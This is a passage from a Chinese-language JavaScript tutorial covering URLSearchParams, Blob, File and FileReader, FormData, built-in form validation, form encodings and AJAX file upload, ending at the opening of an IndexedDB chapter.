has()方法返回一个布尔值,表示查询字符串是否包含指定的键名。

var params = new URLSearchParams({'foo': 1 , 'bar': 2});
params.has('bar') // true
params.has('baz') // false

URLSearchParams.set()

set()方法用来设置查询字符串的键值。

它接受两个参数,第一个是键名,第二个是键值。如果是已经存在的键,键值会被改写,否则会被追加。

var params = new URLSearchParams('?foo=1');
params.set('foo', 2);
params.toString() // "foo=2"
params.set('bar', 3);
params.toString() // "foo=2&bar=3"

上面代码中,foo是已经存在的键,bar是还不存在的键。

如果有多个的同名键,set会移除现存所有的键。

var params = new URLSearchParams('?foo=1&foo=2');
params.set('foo', 3);
params.toString() // "foo=3"

下面是一个替换当前 URL 的例子。

// URL: https://example.com?version=1.0
var params = new URLSearchParams(location.search.slice(1));
params.set('version', '2.0');

window.history.replaceState({}, '', location.pathname + `?` + params);
// URL: https://example.com?version=2.0

URLSearchParams.get(),URLSearchParams.getAll()

get()方法用来读取查询字符串里面的指定键。它接受键名作为参数。

var params = new URLSearchParams('?foo=1');
params.get('foo') // "1"
params.get('bar') // null

两个地方需要注意。第一,它返回的是字符串,如果原始值是数值,需要转一下类型;第二,如果指定的键名不存在,返回值是null

如果有多个的同名键,get返回位置最前面的那个键值。

var params = new URLSearchParams('?foo=3&foo=2&foo=1');
params.get('foo') // "3"

上面代码中,查询字符串有三个foo键,get方法返回最前面的键值3

getAll()方法返回一个数组,成员是指定键的所有键值。它接受键名作为参数。

var params = new URLSearchParams('?foo=1&foo=2');
params.getAll('foo') // ["1", "2"]

上面代码中,查询字符串有两个foo键,getAll返回的数组就有两个成员。

URLSearchParams.sort()

sort()方法对查询字符串里面的键进行排序,规则是按照 Unicode 码点从小到大排列。

该方法没有返回值,或者说返回值是undefined

var params = new URLSearchParams('c=4&a=2&b=3&a=1');
params.sort();
params.toString() // "a=2&a=1&b=3&c=4"

上面代码中,如果有两个同名的键a,它们之间不会排序,而是保留原始的顺序。

URLSearchParams.keys(),URLSearchParams.values(),URLSearchParams.entries()

这三个方法都返回一个遍历器对象,供for...of循环遍历。它们的区别在于,keys方法返回的是键名的遍历器,values方法返回的是键值的遍历器,entries返回的是键值对的遍历器。

var params = new URLSearchParams('a=1&b=2');

for(var p of params.keys()) {
  console.log(p);
}
// a
// b

for(var p of params.values()) {
  console.log(p);
}
// 1
// 2

for(var p of params.entries()) {
  console.log(p);
}
// ["a", "1"]
// ["b", "2"]

如果直接对URLSearchParams进行遍历,其实内部调用的就是entries接口。

for (var p of params) {}
// 等同于
for (var p of params.entries()) {}

参考链接

ArrayBuffer 对象,Blob 对象

ArrayBuffer 对象

ArrayBuffer 对象表示一段二进制数据,用来模拟内存里面的数据。通过这个对象,JavaScript 可以读写二进制数据。这个对象可以看作内存数据的表达。

这个对象是 ES6 才写入标准的,普通的网页编程用不到它,为了教程体系的完整,下面只提供一个简略的介绍,详细介绍请看《ES6 标准入门》里面的章节。

浏览器原生提供ArrayBuffer()构造函数,用来生成实例。它接受一个整数作为参数,表示这段二进制数据占用多少个字节。

var buffer = new ArrayBuffer(8);

上面代码中,实例对象buffer占用8个字节。

ArrayBuffer 对象有实例属性byteLength,表示当前实例占用的内存长度(单位字节)。

var buffer = new ArrayBuffer(8);
buffer.byteLength // 8

ArrayBuffer 对象有实例方法slice(),用来复制一部分内存。它接受两个整数参数,分别表示复制的开始位置(从0开始)和结束位置(复制时不包括结束位置),如果省略第二个参数,则表示一直复制到结束。

var buf1 = new ArrayBuffer(8);
var buf2 = buf1.slice(0);

上面代码表示复制原来的实例。

Blob 对象

简介

Blob 对象表示一个二进制文件的数据内容,比如一个图片文件的内容就可以通过 Blob 对象读写。它通常用来读写文件,它的名字是 Binary Large Object (二进制大型对象)的缩写。它与 ArrayBuffer 的区别在于,它用于操作二进制文件,而 ArrayBuffer 用于操作内存。

浏览器原生提供Blob()构造函数,用来生成实例对象。

new Blob(array [, options])

Blob构造函数接受两个参数。第一个参数是数组,成员是字符串或二进制对象,表示新生成的Blob实例对象的内容;第二个参数是可选的,是一个配置对象,目前只有一个属性type,它的值是一个字符串,表示数据的 MIME 类型,默认是空字符串。

var htmlFragment = ['<a id="a"><b id="b">hey!</b></a>'];
var myBlob = new Blob(htmlFragment, {type : 'text/html'});

上面代码中,实例对象myBlob包含的是字符串。生成实例的时候,数据类型指定为text/html

下面是另一个例子,Blob 保存 JSON 数据。

var obj = { hello: 'world' };
var blob = new Blob([ JSON.stringify(obj) ], {type : 'application/json'});

实例属性和实例方法

Blob具有两个实例属性sizetype,分别返回数据的大小和类型。

var htmlFragment = ['<a id="a"><b id="b">hey!</b></a>'];
var myBlob = new Blob(htmlFragment, {type : 'text/html'});

myBlob.size // 32
myBlob.type // "text/html"

Blob具有一个实例方法slice,用来拷贝原来的数据,返回的也是一个Blob实例。

myBlob.slice(start, end, contentType)

slice方法有三个参数,都是可选的。它们依次是起始的字节位置(默认为0)、结束的字节位置(默认为size属性的值,该位置本身将不包含在拷贝的数据之中)、新实例的数据类型(默认为空字符串)。

获取文件信息

文件选择器<input type="file">用来让用户选取文件。出于安全考虑,浏览器不允许脚本自行设置这个控件的value属性,即文件必须是用户手动选取的,不能是脚本指定的。一旦用户选好了文件,脚本就可以读取这个文件。

文件选择器返回一个 FileList 对象,该对象是一个类似数组的成员,每个成员都是一个 File 实例对象。File 实例对象是一个特殊的 Blob 实例,增加了namelastModifiedDate属性。

// HTML 代码如下
// <input type="file" accept="image/*" multiple onchange="fileinfo(this.files)"/>

function fileinfo(files) {
  for (var i = 0; i < files.length; i++) {
    var f = files[i];
    console.log(
      f.name, // 文件名,不含路径
      f.size, // 文件大小,Blob 实例属性
      f.type, // 文件类型,Blob 实例属性
      f.lastModifiedDate // 文件的最后修改时间
    );
  }
}

除了文件选择器,拖放 API 的dataTransfer.files返回的也是一个FileList 对象,它的成员因此也是 File 实例对象。

下载文件

AJAX 请求时,如果指定responseType属性为blob,下载下来的就是一个 Blob 对象。

function getBlob(url, callback) {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', url);
  xhr.responseType = 'blob';
  xhr.onload = function () {
    callback(xhr.response);
  }
  xhr.send(null);
}

上面代码中,xhr.response拿到的就是一个 Blob 对象。

生成 URL

浏览器允许使用URL.createObjectURL()方法,针对 Blob 对象生成一个临时 URL,以便于某些 API 使用。这个 URL 以blob://开头,表明对应一个 Blob 对象,协议头后面是一个识别符,用来唯一对应内存里面的 Blob 对象。这一点与data://URL(URL 包含实际数据)和file://URL(本地文件系统里面的文件)都不一样。

var droptarget = document.getElementById('droptarget');

droptarget.ondrop = function (e) {
  var files = e.dataTransfer.files;
  for (var i = 0; i < files.length; i++) {
    var type = files[i].type;
    if (type.substring(0,6) !== 'image/')
      continue;
    var img = document.createElement('img');
    img.src = URL.createObjectURL(files[i]);
    img.onload = function () {
      this.width = 100;
      document.body.appendChild(this);
      URL.revokeObjectURL(this.src);
    }
  }
}

上面代码通过为拖放的图片文件生成一个 URL,产生它们的缩略图,从而使得用户可以预览选择的文件。

浏览器处理 Blob URL 就跟普通的 URL 一样,如果 Blob 对象不存在,返回404状态码;如果跨域请求,返回403状态码。Blob URL 只对 GET 请求有效,如果请求成功,返回200状态码。由于 Blob URL 就是普通 URL,因此可以下载。

读取文件

取得 Blob 对象以后,可以通过FileReader对象,读取 Blob 对象的内容,即文件内容。

FileReader 对象提供四个方法,处理 Blob 对象。Blob 对象作为参数传入这些方法,然后以指定的格式返回。

  • FileReader.readAsText():返回文本,需要指定文本编码,默认为 UTF-8。
  • FileReader.readAsArrayBuffer():返回 ArrayBuffer 对象。
  • FileReader.readAsDataURL():返回 Data URL。
  • FileReader.readAsBinaryString():返回原始的二进制字符串。

下面是FileReader.readAsText()方法的例子,用来读取文本文件。

// HTML 代码如下
// <input type="file" onchange="readfile(this.files[0])"></input>
// <pre id="output"></pre>
function readfile(f) {
  var reader = new FileReader();
  reader.readAsText(f);
  reader.onload = function () {
    var text = reader.result;
    var out = document.getElementById('output');
    out.innerHTML = '';
    out.appendChild(document.createTextNode(text));
  }
  reader.onerror = function(e) {
    console.log('Error', e);
  };
}

上面代码中,通过指定 FileReader 实例对象的onload监听函数,在实例的result属性上拿到文件内容。

下面是FileReader.readAsArrayBuffer()方法的例子,用于读取二进制文件。

// HTML 代码如下
// <input type="file" onchange="typefile(this.files[0])"></input>
function typefile(file) {
  // 文件开头的四个字节,生成一个 Blob 对象
  var slice = file.slice(0, 4);
  var reader = new FileReader();
  // 读取这四个字节
  reader.readAsArrayBuffer(slice);
  reader.onload = function (e) {
    var buffer = reader.result;
    // 将这四个字节的内容,视作一个32位整数
    var view = new DataView(buffer);
    var magic = view.getUint32(0, false);
    // 根据文件的前四个字节,判断它的类型
    switch(magic) {
      case 0x89504E47: file.verified_type = 'image/png'; break;
      case 0x47494638: file.verified_type = 'image/gif'; break;
      case 0x25504446: file.verified_type = 'application/pdf'; break;
      case 0x504b0304: file.verified_type = 'application/zip'; break;
    }
    console.log(file.name, file.verified_type);
  };
}

File 对象,FileList 对象,FileReader 对象

File 对象

File 对象代表一个文件,用来读写文件信息。它继承了 Blob 对象,或者说是一种特殊的 Blob 对象,所有可以使用 Blob 对象的场合都可以使用它。

最常见的使用场合是表单的文件上传控件(<input type="file">),用户选中文件以后,浏览器就会生成一个数组,里面是每一个用户选中的文件,它们都是 File 实例对象。

// HTML 代码如下
// <input id="fileItem" type="file">
var file = document.getElementById('fileItem').files[0];
file instanceof File // true

上面代码中,file是用户选中的第一个文件,它是 File 的实例。

构造函数

浏览器原生提供一个File()构造函数,用来生成 File 实例对象。

new File(array, name [, options])

File()构造函数接受三个参数。

  • array:一个数组,成员可以是二进制对象或字符串,表示文件的内容。
  • name:字符串,表示文件名或文件路径。
  • options:配置对象,设置实例的属性。该参数可选。

第三个参数配置对象,可以设置两个属性。

  • type:字符串,表示实例对象的 MIME 类型,默认值为空字符串。
  • lastModified:时间戳,表示上次修改的时间,默认为Date.now()

下面是一个例子。

var file = new File(
  ['foo'],
  'foo.txt',
  {
    type: 'text/plain',
  }
);

实例属性和实例方法

File 对象有以下实例属性。

  • File.lastModified:最后修改时间
  • File.name:文件名或文件路径
  • File.size:文件大小(单位字节)
  • File.type:文件的 MIME 类型
var myFile = new File([], 'file.bin', {
  lastModified: new Date(2018, 1, 1),
});
myFile.lastModified // 1517414400000
myFile.name // "file.bin"
myFile.size // 0
myFile.type // ""

上面代码中,由于myFile的内容为空,也没有设置 MIME 类型,所以size属性等于0,type属性等于空字符串。

File 对象没有自己的实例方法,由于继承了 Blob 对象,因此可以使用 Blob 的实例方法slice()

FileList 对象

FileList对象是一个类似数组的对象,代表一组选中的文件,每个成员都是一个 File 实例。它主要出现在两个场合。

  • 文件控件节点(<input type="file">)的files属性,返回一个 FileList 实例。
  • 拖拉一组文件时,目标区的DataTransfer.files属性,返回一个 FileList 实例。
// HTML 代码如下
// <input id="fileItem" type="file">
var files = document.getElementById('fileItem').files;
files instanceof FileList // true

上面代码中,文件控件的files属性是一个 FileList 实例。

FileList 的实例属性主要是length,表示包含多少个文件。

FileList 的实例方法主要是item(),用来返回指定位置的实例。它接受一个整数作为参数,表示位置的序号(从零开始)。但是,由于 FileList 的实例是一个类似数组的对象,可以直接用方括号运算符,即myFileList[0]等同于myFileList.item(0),所以一般用不到item()方法。

FileReader 对象

FileReader 对象用于读取 File 对象或 Blob 对象所包含的文件内容。

浏览器原生提供一个FileReader构造函数,用来生成 FileReader 实例。

var reader = new FileReader();

FileReader 有以下的实例属性。

  • FileReader.error:读取文件时产生的错误对象
  • FileReader.readyState:整数,表示读取文件时的当前状态。一共有三种可能的状态,0表示尚未加载任何数据,1表示数据正在加载,2表示加载完成。
  • FileReader.result:读取完成后的文件内容,有可能是字符串,也可能是一个 ArrayBuffer 实例。
  • FileReader.onabort:abort事件(用户终止读取操作)的监听函数。
  • FileReader.onerror:error事件(读取错误)的监听函数。
  • FileReader.onload:load事件(读取操作完成)的监听函数,通常在这个函数里面使用result属性,拿到文件内容。
  • FileReader.onloadstart:loadstart事件(读取操作开始)的监听函数。
  • FileReader.onloadend:loadend事件(读取操作结束)的监听函数。
  • FileReader.onprogress:progress事件(读取操作进行中)的监听函数。

下面是监听load事件的一个例子。

// HTML 代码如下
// <input type="file" onchange="onChange(event)">

function onChange(event) {
  var file = event.target.files[0];
  var reader = new FileReader();
  reader.onload = function (event) {
    console.log(event.target.result)
  };

  reader.readAsText(file);
}

上面代码中,每当文件控件发生变化,就尝试读取第一个文件。如果读取成功(load事件发生),就打印出文件内容。

FileReader 有以下实例方法。

  • FileReader.abort():终止读取操作,readyState属性将变成2
  • FileReader.readAsArrayBuffer():以 ArrayBuffer 的格式读取文件,读取完成后result属性将返回一个 ArrayBuffer 实例。
  • FileReader.readAsBinaryString():读取完成后,result属性将返回原始的二进制字符串。
  • FileReader.readAsDataURL():读取完成后,result属性将返回一个 Data URL 格式(Base64 编码)的字符串,代表文件内容。对于图片文件,这个字符串可以用于<img>元素的src属性。注意,这个字符串不能直接进行 Base64 解码,必须把前缀data:*/*;base64,从字符串里删除以后,再进行解码。
  • FileReader.readAsText():读取完成后,result属性将返回文件内容的文本字符串。该方法的第一个参数是代表文件的 Blob 实例,第二个参数是可选的,表示文本编码,默认为 UTF-8。

下面是一个例子。

/* HTML 代码如下
  <input type="file" onchange="previewFile()">
  <img src="" height="200">
*/

function previewFile() {
  var preview = document.querySelector('img');
  var file    = document.querySelector('input[type=file]').files[0];
  var reader  = new FileReader();

  reader.addEventListener('load', function () {
    preview.src = reader.result;
  }, false);

  if (file) {
    reader.readAsDataURL(file);
  }
}

上面代码中,用户选中图片文件以后,脚本会自动读取文件内容,然后作为一个 Data URL 赋值给<img>元素的src属性,从而把图片展示出来。

表单,FormData 对象

表单概述

表单(<form>)用来收集用户提交的数据,发送到服务器。比如,用户提交用户名和密码,让服务器验证,就要通过表单。表单提供多种控件,让开发者使用,具体的控件种类和用法请参考 HTML 语言的教程。本章主要介绍 JavaScript 与表单的交互。

<form action="/handling-page" method="post">
  <div>
    <label for="name">用户名:</label>
    <input type="text" id="name" name="user_name" />
  </div>
  <div>
    <label for="passwd">密码:</label>
    <input type="password" id="passwd" name="user_passwd" />
  </div>
  <div>
    <input type="submit" id="submit" name="submit_button" value="提交" />
  </div>
</form>

上面代码就是一个简单的表单,包含三个控件:用户名输入框、密码输入框和提交按钮。

用户点击“提交”按钮,每一个控件都会生成一个键值对,键名是控件的name属性,键值是控件的value属性,键名和键值之间由等号连接。比如,用户名输入框的name属性是user_namevalue属性是用户输入的值,假定是“张三”,提交到服务器的时候,就会生成一个键值对user_name=张三

所有的键值对都会提交到服务器。但是,提交的数据格式跟<form>元素的method属性有关。该属性指定了提交数据的 HTTP 方法。如果是 GET 方法,所有键值对会以 URL 的查询字符串形式,提交到服务器,比如/handling-page?user_name=张三&user_passwd=123&submit_button=提交。下面就是 GET 请求的 HTTP 头信息。

GET /handling-page?user_name=张三&user_passwd=123&submit_button=提交
Host: example.com

如果是 POST 方法,所有键值对会连接成一行,作为 HTTP 请求的数据体发送到服务器,比如user_name=张三&user_passwd=123&submit_button=提交。下面就是 POST 请求的头信息。

POST /handling-page HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

user_name=张三&user_passwd=123&submit_button=提交

注意,实际提交的时候,只要键值不是 URL 的合法字符(比如汉字“张三”和“提交”),浏览器会自动对其进行编码。

点击submit控件,就可以提交表单。

<form>
  <input type="submit" value="提交">
</form>

上面表单就包含一个submit控件,点击这个控件,浏览器就会把表单数据向服务器提交。

注意,表单里面的<button>元素如果没有用type属性指定类型,那么默认就是submit控件。

<form>
  <button>提交</button>
</form>

上面表单的<button>元素,点击以后也会提交表单。

除了点击submit控件提交表单,还可以用表单元素的submit()方法,通过脚本提交表单。

formElement.submit();

表单元素的reset()方法可以重置所有控件的值(重置为默认值)。

formElement.reset()

FormData 对象

概述

表单数据以键值对的形式向服务器发送,这个过程是浏览器自动完成的。但是有时候,我们希望通过脚本完成这个过程,构造或编辑表单的键值对,然后通过脚本发送给服务器。浏览器原生提供了 FormData 对象来完成这项工作。

FormData()首先是一个构造函数,用来生成表单的实例。

var formdata = new FormData(form);

FormData()构造函数的参数是一个 DOM 的表单元素,构造函数会自动处理表单的键值对。这个参数是可选的,如果省略该参数,就表示一个空的表单。

下面是一个表单。

<form id="myForm" name="myForm">
  <div>
    <label for="username">用户名:</label>
    <input type="text" id="username" name="username">
  </div>
  <div>
    <label for="useracc">账号:</label>
    <input type="text" id="useracc" name="useracc">
  </div>
  <div>
    <label for="userfile">上传文件:</label>
    <input type="file" id="userfile" name="userfile">
  </div>
<input type="submit" value="Submit!">
</form>

我们用FormData()处理上面这个表单。

var myForm = document.getElementById('myForm');
var formData = new FormData(myForm);

// 获取某个控件的值
formData.get('username') // ""

// 设置某个控件的值
formData.set('username', '张三');

formData.get('username') // "张三"

实例方法

FormData 提供以下实例方法。

  • FormData.get(key):获取指定键名对应的键值,参数为键名。如果有多个同名的键值对,则返回第一个键值对的键值。
  • FormData.getAll(key):返回一个数组,表示指定键名对应的所有键值。如果有多个同名的键值对,数组会包含所有的键值。
  • FormData.set(key, value):设置指定键名的键值,参数为键名。如果键名不存在,会添加这个键值对,否则会更新指定键名的键值。如果第二个参数是文件,还可以使用第三个参数,表示文件名。
  • FormData.delete(key):删除一个键值对,参数为键名。
  • FormData.append(key, value):添加一个键值对。如果键名重复,则会生成两个相同键名的键值对。如果第二个参数是文件,还可以使用第三个参数,表示文件名。
  • FormData.has(key):返回一个布尔值,表示是否具有该键名的键值对。
  • FormData.keys():返回一个遍历器对象,用于for...of循环遍历所有的键名。
  • FormData.values():返回一个遍历器对象,用于for...of循环遍历所有的键值。
  • FormData.entries():返回一个遍历器对象,用于for...of循环遍历所有的键值对。如果直接用for...of循环遍历 FormData 实例,默认就会调用这个方法。

下面是get()getAll()set()append()方法的例子。

var formData = new FormData();

formData.set('username', '张三');
formData.append('username', '李四');
formData.get('username') // "张三"
formData.getAll('username') // ["张三", "李四"]

formData.append('userpic[]', myFileInput.files[0], 'user1.jpg');
formData.append('userpic[]', myFileInput.files[1], 'user2.jpg');

下面是遍历器的例子。

var formData = new FormData();
formData.append('key1', 'value1');
formData.append('key2', 'value2');

for (var key of formData.keys()) {
  console.log(key);
}
// "key1"
// "key2"

for (var value of formData.values()) {
  console.log(value);
}
// "value1"
// "value2"

for (var pair of formData.entries()) {
  console.log(pair[0] + ': ' + pair[1]);
}
// key1: value1
// key2: value2

// 等同于遍历 formData.entries()
for (var pair of formData) {
  console.log(pair[0] + ': ' + pair[1]);
}
// key1: value1
// key2: value2

表单的内置验证

自动校验

表单提交的时候,浏览器允许开发者指定一些条件,它会自动验证各个表单控件的值是否符合条件。

<!-- 必填 -->
<input required>

<!-- 必须符合正则表达式 -->
<input pattern="banana|cherry">

<!-- 字符串长度必须为6个字符 -->
<input minlength="6" maxlength="6">

<!-- 数值必须在1到10之间 -->
<input type="number" min="1" max="10">

<!-- 必须填入 Email 地址 -->
<input type="email">

<!-- 必须填入 URL -->
<input type="URL">

如果一个控件通过验证,它就会匹配:valid的 CSS 伪类,浏览器会继续进行表单提交的流程。如果没有通过验证,该控件就会匹配:invalid的 CSS 伪类,浏览器会终止表单提交,并显示一个错误信息。

input:invalid {
  border-color: red;
}
input,
input:valid {
  border-color: #ccc;
}

checkValidity()

除了提交表单的时候,浏览器自动校验表单,还可以手动触发表单的校验。表单元素和表单控件都有checkValidity()方法,用于手动触发校验。

// 触发整个表单的校验
form.checkValidity()

// 触发单个表单控件的校验
formControl.checkValidity()

checkValidity()方法返回一个布尔值,true表示通过校验,false表示没有通过校验。因此,提交表单可以封装为下面的函数。

function submitForm(action) {
  var form = document.getElementById('form');
  form.action = action;
  if (form.checkValidity()) {
    form.submit();
  }
}

willValidate 属性

控件元素的willValidate属性是一个布尔值,表示该控件是否会在提交时进行校验。

// HTML 代码如下
// <form novalidate>
//   <input id="name" name="name" required />
// </form>

var input = document.querySelector('#name');
input.willValidate // true

validationMessage 属性

控件元素的validationMessage属性返回一个字符串,表示控件不满足校验条件时,浏览器显示的提示文本。以下两种情况,该属性返回空字符串。

  • 该控件不会在提交时自动校验
  • 该控件满足校验条件
// HTML 代码如下
// <form><input type="text" required></form>
document.querySelector('form input').validationMessage
// "请填写此字段。"

下面是另一个例子。

var myInput = document.getElementById('myinput');
if (!myInput.checkValidity()) {
  document.getElementById('prompt').innerHTML = myInput.validationMessage;
}

setCustomValidity()

控件元素的setCustomValidity()方法用来定制校验失败时的报错信息。它接受一个字符串作为参数,该字符串就是定制的报错信息。如果参数为空字符串,则上次设置的报错信息被清除。

这个方法可以替换浏览器内置的表单验证报错信息,参数就是要显示的报错信息。

<form action="somefile.php">
  <input
    type="text"
    name="username"
    placeholder="Username"
    pattern="[a-z]{1,15}"
    id="username"
  >
  <input type="submit">
</form>

上面的表单输入框,要求只能输入小写字母,且不得超过15个字符。如果输入不符合要求(比如输入“ABC”),提交表单的时候,Chrome 浏览器会弹出报错信息“Please match the requested format.”,禁止表单提交。下面使用setCustomValidity()方法替换掉报错信息。

var input = document.getElementById('username');
input.oninvalid = function (event) {
  event.target.setCustomValidity(
    '用户名必须是小写字母,不能为空,最长不超过15个字符'
  );
}

上面代码中,setCustomValidity()方法是在invalid事件的监听函数里面调用。该方法也可以直接调用,这时如果参数不为空字符串,浏览器就会认为该控件没有通过校验,就会立刻显示该方法设置的报错信息。

/* HTML 代码如下
<form>
  <p><input type="file" id="fs"></p>
  <p><input type="submit"></p>
</form>
*/

document.getElementById('fs').onchange = checkFileSize;

function checkFileSize() {
  var fs = document.getElementById('fs');
  var files = fs.files;
  if (files.length > 0) {
     if (files[0].size > 75 * 1024) {
       fs.setCustomValidity('文件不能大于 75KB');
       return;
     }
  }
  fs.setCustomValidity('');
}

上面代码一旦发现文件大于 75KB,就会设置校验失败,同时给出自定义的报错信息。然后,点击提交按钮时,就会显示报错信息。这种校验失败是不会自动消除的,所以如果所有文件都符合条件,要将报错信息设为空字符串,手动消除校验失败的状态。

validity 属性

控件元素的属性validity属性返回一个ValidityState对象,包含当前校验状态的信息。

该对象有以下属性,全部为只读属性。

  • ValidityState.badInput:布尔值,表示浏览器是否不能将用户的输入转换成正确的类型,比如用户在数值框里面输入字符串。
  • ValidityState.customError:布尔值,表示是否已经调用setCustomValidity()方法,将校验信息设置为一个非空字符串。
  • ValidityState.patternMismatch:布尔值,表示用户输入的值是否不满足模式的要求。
  • ValidityState.rangeOverflow:布尔值,表示用户输入的值是否大于最大范围。
  • ValidityState.rangeUnderflow:布尔值,表示用户输入的值是否小于最小范围。
  • ValidityState.stepMismatch:布尔值,表示用户输入的值不符合步长的设置(即不能被步长值整除)。
  • ValidityState.tooLong:布尔值,表示用户输入的字数超出了最长字数。
  • ValidityState.tooShort:布尔值,表示用户输入的字符少于最短字数。
  • ValidityState.typeMismatch:布尔值,表示用户填入的值不符合类型要求(主要是类型为 Email 或 URL 的情况)。
  • ValidityState.valid:布尔值,表示用户是否满足所有校验条件。
  • ValidityState.valueMissing:布尔值,表示用户没有填入必填的值。

下面是一个例子。

var input = document.getElementById('myinput');
if (input.validity.valid) {
  console.log('通过校验');
} else {
  console.log('校验失败');
}

下面是另外一个例子。

var txt = '';
if (document.getElementById('myInput').validity.rangeOverflow) {
  txt = '数值超过上限';
}
document.getElementById('prompt').innerHTML = txt;

如果想禁止浏览器弹出表单验证的报错信息,可以监听invalid事件。

var input = document.getElementById('username');
var form  = document.getElementById('form');

var elem = document.createElement('div');
elem.id  = 'notify';
elem.style.display = 'none';
form.appendChild(elem);

input.addEventListener('invalid', function (event) {
  event.preventDefault();
  if (!event.target.validity.valid) {
    elem.textContent   = '用户名必须是小写字母';
    elem.className     = 'error';
    elem.style.display = 'block';
    input.className    = 'invalid animated shake';
  }
});

input.addEventListener('input', function(event){
  if ( 'block' === elem.style.display ) {
    input.className = '';
    elem.style.display = 'none';
  }
});

上面代码中,一旦发生invalid事件(表单验证失败),event.preventDefault()用来禁止浏览器弹出默认的验证失败提示,然后设置定制的报错提示框。

表单的 novalidate 属性

表单元素的 HTML 属性novalidate,可以关闭浏览器的自动校验。

<form novalidate>
</form>

这个属性也可以在脚本里设置。

form.noValidate = true;

如果表单元素没有设置novalidate属性,那么提交按钮(<button><input>元素)的formnovalidate属性也有同样的作用。

<form>
  <input type="submit" value="submit" formnovalidate>
</form>

enctype 属性

表单能够用四种编码,向服务器发送数据。编码格式由表单的enctype属性决定。

假定表单有两个字段,分别是foobaz,其中foo字段的值等于barbaz字段的值是一个分为两行的字符串。

The first line.
The second line.

下面四种格式,都可以将这个表单发送到服务器。

(1)GET 方法

如果表单使用GET方法发送数据,enctype属性无效。

<form
  action="register.php"
  method="get"
  onsubmit="AJAXSubmit(this); return false;"
>
</form>

数据将以 URL 的查询字符串发出。

?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.

(2)application/x-www-form-urlencoded

如果表单用POST方法发送数据,并省略enctype属性,那么数据以application/x-www-form-urlencoded格式发送(因为这是默认值)。

<form
  action="register.php"
  method="post"
  onsubmit="AJAXSubmit(this); return false;"
>
</form>

发送的 HTTP 请求如下。

Content-Type: application/x-www-form-urlencoded

foo=bar&baz=The+first+line.%0D%0AThe+second+line.%0D%0A

上面代码中,数据体里面的%0D%0A代表换行符(\r\n)。

(3)text/plain

如果表单使用POST方法发送数据,enctype属性为text/plain,那么数据将以纯文本格式发送。

<form
  action="register.php"
  method="post"
  enctype="text/plain"
  onsubmit="AJAXSubmit(this); return false;"
>
</form>

发送的 HTTP 请求如下。

Content-Type: text/plain

foo=bar
baz=The first line.
The second line.

(4)multipart/form-data

如果表单使用POST方法,enctype属性为multipart/form-data,那么数据将以混合的格式发送。

<form
  action="register.php"
  method="post"
  enctype="multipart/form-data"
  onsubmit="AJAXSubmit(this); return false;"
>
</form>

发送的 HTTP 请求如下。

Content-Type: multipart/form-data; boundary=---------------------------314911788813839

-----------------------------314911788813839
Content-Disposition: form-data; name="foo"

bar
-----------------------------314911788813839
Content-Disposition: form-data; name="baz"

The first line.
The second line.

-----------------------------314911788813839--

这种格式也是文件上传的格式。

文件上传

用户上传文件,也是通过表单。具体来说,就是通过文件输入框选择本地文件,提交表单的时候,浏览器就会把这个文件发送到服务器。

<input type="file" id="file" name="myFile">

此外,还需要将表单<form>元素的method属性设为POSTenctype属性设为multipart/form-data。其中,enctype属性决定了 HTTP 头信息的Content-Type字段的值,默认情况下这个字段的值是application/x-www-form-urlencoded,但是文件上传的时候要改成multipart/form-data

<form method="post" enctype="multipart/form-data">
  <div>
    <label for="file">选择一个文件</label>
    <input type="file" id="file" name="myFile" multiple>
  </div>
  <div>
    <input type="submit" id="submit" name="submit_button" value="上传" />
  </div>
</form>

上面的 HTML 代码中,file 控件的multiple属性,指定可以一次选择多个文件;如果没有这个属性,则一次只能选择一个文件。

var fileSelect = document.getElementById('file');
var files = fileSelect.files;

然后,新建一个 FormData 实例对象,模拟发送到服务器的表单数据,把选中的文件添加到这个对象上面。

var formData = new FormData();

for (var i = 0; i < files.length; i++) {
  var file = files[i];

  // 只上传图片文件
  if (!file.type.match('image.*')) {
    continue;
  }

  formData.append('photos[]', file, file.name);
}

最后,使用 Ajax 向服务器上传文件。

var xhr = new XMLHttpRequest();

xhr.open('POST', 'handler.php', true);

xhr.onload = function () {
  if (xhr.status !== 200) {
    console.log('An error occurred!');
  }
};

xhr.send(formData);

除了发送 FormData 实例,也可以直接 AJAX 发送文件。

var file = document.getElementById('test-input').files[0];
var xhr = new XMLHttpRequest();

xhr.open('POST', 'myserver/uploads');
xhr.setRequestHeader('Content-Type', file.type);
xhr.send(file);

参考链接

IndexedDB API

概述

随着浏览器的功能不断增强,越来越多的网站开始考虑,将大量数据储存在客户端,这样可以减少从服务器获取数据,直接从本地获取数据。

现有的浏览器数据储存方案,都不适合储存大量数据:Cookie 的大小不超过 4KB,且每次请求都会发送回服务器;LocalStorage 在 2.5MB 到 10MB 之间(各家浏览器不同),而且不提供搜索功能,不能建立自定义的索引。所以,需要一种新的解决方案,这就是 IndexedDB 诞生的背景。

通俗地说,IndexedDB 就是浏览器提供的本地数据库,它可以被网页脚本创建和操作。IndexedDB 允许储存大量数据,提供查找接口,还能建立索引。这些都是 LocalStorage 所不具备的。就数据库类型而言,IndexedDB 不属于关系型数据库(不支持 SQL 查询语句),更接近 NoSQL 数据库。

IndexedDB 具有以下特点。

(1)键值对储存。 IndexedDB 内部采用对象仓库(object store)存放数据。所有类型的数据都可以直接存入,包括 JavaScript 对象。对象仓库中,数据以“键值对”的形式保存,每一个数据记录都有对应的主键,主键是独一无二的,不能有重复,否则会抛出一个错误。

(2)异步。 IndexedDB 操作时不会锁死浏览器,用户依然可以进行其他操作,这与 LocalStorage 形成对比,后者的操作是同步的。异步设计是为了防止大量数据的读写,拖慢网页的表现。

(3)支持事务。 IndexedDB 支持事务(transaction),这意味着一系列操作步骤之中,只要有一步失败,整个事务就都取消,数据库回滚到事务发生之前的状态,不存在只改写一部分数据的情况。

(4)同源限制。 IndexedDB 受到同源限制,每一个数据库对应创建它的域名。网页只能访问自身域名下的数据库,而不能访问跨域的数据库。

(5)储存空间大。 IndexedDB 的储存空间比 LocalStorage 大得多,一般来说不少于 250MB,甚至没有上限。

(6)支持二进制储存。 IndexedDB 不仅可以储存字符串,还可以储存二进制数据(ArrayBuffer 对象和 Blob 对象)。

基本概念

IndexedDB 是一个比较复杂的 API,涉及不少概念。它把不同的实体,抽象成一个个对象接口。学习这个 API,就是学习它的各种对象接口。

  • 数据库:IDBDatabase 对象
  • 对象仓库:IDBObjectStore 对象
  • 索引: IDBIndex 对象
  • 事务: IDBTransaction 对象
